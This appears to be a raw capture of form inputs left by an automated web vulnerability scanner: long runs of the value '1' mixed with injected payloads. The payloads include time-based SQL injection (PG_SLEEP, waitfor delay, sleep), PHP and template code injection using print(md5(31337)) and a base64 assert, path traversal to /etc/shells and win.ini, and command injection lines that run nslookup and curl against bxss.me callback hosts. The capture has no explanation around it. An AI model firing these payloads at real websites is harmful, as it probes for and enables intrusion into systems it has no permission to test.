1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

@@dpspM

1????%2527%2522\'\"

1'"

1

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

12dS48kKv')) OR 773=(SELECT 773 FROM PG_SLEEP(15))--

1vHXWaucu') OR 735=(SELECT 735 FROM PG_SLEEP(15))--

1MxDfoBfC' OR 744=(SELECT 744 FROM PG_SLEEP(15))--

1-1)) OR 311=(SELECT 311 FROM PG_SLEEP(15))--

1-1) OR 620=(SELECT 620 FROM PG_SLEEP(15))--

1-1 OR 379=(SELECT 379 FROM PG_SLEEP(15))--

1tm3dZQTs'; waitfor delay '0:0:15' --

1-1 waitfor delay '0:0:15' --

1-1); waitfor delay '0:0:15' --

1-1; waitfor delay '0:0:15' --

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

1*if(now()=sysdate(),sleep(15),0)

-1" OR 2+645-645-1=0+0+0+1 --

-1' OR 2+411-411-1=0+0+0+1 or 'XFVr0YIf'='

-1' OR 2+803-803-1=0+0+0+1 --

-1 OR 2+879-879-1=0+0+0+1

-1 OR 2+526-526-1=0+0+0+1 --

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

[php]print(md5(31337));[/php]

1

1

1

1

1

{php}print(md5(31337));{/php}

1

1

1

19488000

print(md5(31337));//

'"()&%yuMP(9382)

1

1

1

'{${print(md5(31337))}}'

1'"()&%yuMP(9672)

'"

1

1

1

1

1

1

1

1

1

1

'.print(md5(31337)).'

ajax.php/.

${@print(md5(31337))}\

1

1

1

ajax.php

1

1

1

${@print(md5(31337))}

1

ajax.php

1

1

1

1

";print(md5(31337));$a="

1

1

1

1

';print(md5(31337));$a='

1

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

'A'.concat(70-3).concat(22*4).concat(119).concat(84).concat(117).concat(79)+(require'socket' Socket.gethostbyname('hitly'+'qmwiokqv939ce.bxss.me.')[3].to_s)

1

1

1

1

'+'A'.concat(70-3).concat(22*4).concat(106).concat(89).concat(113).concat(68)+(require'socket' Socket.gethostbyname('hitxk'+'eodnzefh9361d.bxss.me.')[3].to_s)+'

1

1

"+"A".concat(70-3).concat(22*4).concat(117).concat(69).concat(118).concat(87)+(require"socket" Socket.gethostbyname("hitzx"+"qevalcnyd7cae.bxss.me.")[3].to_s)+"

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

bxss.me/t/xss.html?%00

1

1

1

1

HttP://bxss.me/t/xss.html?%00

1

1

1

gethostbyname(lc('hitrd'.'sgmwueqjaa4e5.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(109).chr(87).chr(107).chr(80)

1

1

1

1

1

".gethostbyname(lc("hitqd"."oydehlyj266aa.bxss.me."))."A".chr(67).chr(hex("58")).chr(119).chr(70).chr(120).chr(90)."

1

1

'.gethostbyname(lc('hitab'.'ttzisrcz0add5.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(101).chr(83).chr(97).chr(72).'

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

redirtest.acx

1"||sleep(27*1000)*lemzln||"

1

1'||sleep(27*1000)*acibyb||'

1

1

1"&&sleep(27*1000)*xqtumv&&"

1

1

1

bxss.me

1

1

1'&&sleep(27*1000)*eqbvim&&'

c:/windows/win.ini

1

'"()

1

1

1

1

1

../../../../../../../../../../../../../../etc/shells

1

1

/etc/shells

1

^(#$!@#$)(()))******

1

!(()&&!|*|*|

1

)

http://bxss.me/t/fit.txt?.jpg

1

1

1

1

Http://bxss.me/t/fit.txt

1

&(nslookup${IFS}-q${IFS}cname${IFS}hitqhmezfrjxhe5ee2.bxss.me||curl${IFS}hitqhmezfrjxhe5ee2.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitqhmezfrjxhe5ee2.bxss.me||curl${IFS}hitqhmezfrjxhe5ee2.bxss.me)&`'

1

1

1

|(nslookup${IFS}-q${IFS}cname${IFS}hitsqijbiyyvc40f11.bxss.me||curl${IFS}hitsqijbiyyvc40f11.bxss.me)

1

1

1

1

1

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

1

1

;(nslookup -q=cname hittqfkekypyf373f0.bxss.me||curl hittqfkekypyf373f0.bxss.me)|(nslookup -q=cname hittqfkekypyf373f0.bxss.me||curl hittqfkekypyf373f0.bxss.me)&(nslookup -q=cname hittqfkekypyf373f0.bxss.me||curl hittqfkekypyf373f0.bxss.me)

1

1

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

1

1

1

1

`(nslookup -q=cname hitjhrndzgnct48892.bxss.me||curl hitjhrndzgnct48892.bxss.me)`

1

|(nslookup -q=cname hitjvkqebzggz29112.bxss.me||curl hitjvkqebzggz29112.bxss.me)

&(nslookup -q=cname hitlppuvsushncbd83.bxss.me||curl hitlppuvsushncbd83.bxss.me)&'\"`0&(nslookup -q=cname hitlppuvsushncbd83.bxss.me||curl hitlppuvsushncbd83.bxss.me)&`'

1

1

&nslookup -q=cname hituxyghgmzevfa8d5.bxss.me&'\"`0&nslookup -q=cname hituxyghgmzevfa8d5.bxss.me&`'

1

$(nslookup -q=cname hitisbmcoomygc3513.bxss.me||curl hitisbmcoomygc3513.bxss.me)

1

1

(nslookup -q=cname hitbmtthtctef74ff9.bxss.me||curl hitbmtthtctef74ff9.bxss.me))

1

${9999229+9999199}

expr 9000318640 - 942690

1

1

1

1|echo cfhfqu$()\ kfqudx\nz^xyu||a #' |echo cfhfqu$()\ kfqudx\nz^xyu||a #|" |echo cfhfqu$()\ kfqudx\nz^xyu||a #

|echo jwvupu$()\ nznsbt\nz^xyu||a #' |echo jwvupu$()\ nznsbt\nz^xyu||a #|" |echo jwvupu$()\ nznsbt\nz^xyu||a #

1

1

1

1&echo dptbpz$()\ iibshk\nz^xyu||a #' &echo dptbpz$()\ iibshk\nz^xyu||a #|" &echo dptbpz$()\ iibshk\nz^xyu||a #

1

1

1